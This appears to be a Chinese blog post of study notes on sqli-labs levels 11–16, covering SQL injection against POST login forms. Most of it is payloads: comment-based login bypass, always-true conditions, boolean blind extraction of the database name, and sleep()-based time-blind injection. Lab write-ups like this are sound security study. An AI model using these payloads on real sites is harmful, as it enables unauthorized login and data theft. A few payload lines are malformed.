sqli-labs(less-11-16)

Posted 2021-01-23 可乐

POST登入

首先试试

uname=admin\'# & passwd=1

登入成功

如果不知道用户名 ,注释符被过滤，可以从password入手

一般第一个登陆字段（一般是用户名）就用注释，第二个登陆字段（一般就密码）用闭合和注释都是可以的

uname=test & passwd=1\'or 1=\'1

接下来利用盲注猜解数据库(布尔盲注)

uname=test & passwd=1\'or length(database())>0 or 1=\'2  //#被过滤情况下
uname=test & passwd=1\'or length(database())>0 # 

剩下的步骤和get一样

一个个猜解数据库的名字

uname=test & passwd=1\'or ascii(substr((select database()),1,1))>0 or 1=\'2

less-12

uname=test & passwd=1\'or 1=\'1

先猜解是被单引号包围还是双引号还是括号什么的

uname=test & passwd=1" #

爆语法错误了，语句没写好QAQ

uname=test\' # & passwd=1

uname=test" # & passwd=1

之前搞错了 ,不存在test这个用户所以当然不了

uname=admin‘ # & passwd=1

uname=admin" # & passwd=1

uname=admin‘) # & passwd=1

uname=admin") # & passwd=1    //成功登入

uname=test  & passwd=1 or 1=\'1

uname=test  & passwd=1 or 1="1

uname=test  & passwd=1 or 1=(\'1

uname=test  & passwd=1 or 1=("1   //按理说这个应该可以

都登不进去

原来是passwd那个没有用")闭合

uname=test & passwd=1") or 1=("1 

爆数据库

uname=test & passwd=1") or length(database())>0 or 2=("1 

接下来的步骤和之前一样

less-13

uname=admin\' # & passwd=1

uname=admin") # & passwd=1

\')

"

都报错了

看源码是‘)闭合的鸭 怎么就不行呢

原来如此 ,登入了也不返回结果

注意一下 ,成功了会返回图片

less-13

uname=admin" # & passwd=1

less-14

尝试sleep()时间盲注 

uname=admin"  and sleep(10)  # & passwd=1

uname=admin" or sleep(10) # & passwd=1

延迟了,发现可以sleep盲注,当用or 的时候是一直在转 不知道为什么

 

 

uname=admin"  # & passwd=1

 less-15

\'

uname=admin") # & passwd=1

\')

")

都报错了,不过输入单引号没有返回结果  // 窗口有点小 往下滑就了

uname=admin\'  & passwd=1 

试一下永真

uname=a  & passwd=1\' or 1=\'1

less-16

uname=admin") #&passwd=a\'

uname=admin") #&passwd=a\'or length(database())>0 1=("1

利用sleep()

uname=a&passwd=a") or if(length((select database()))=8,1,sleep(5)) #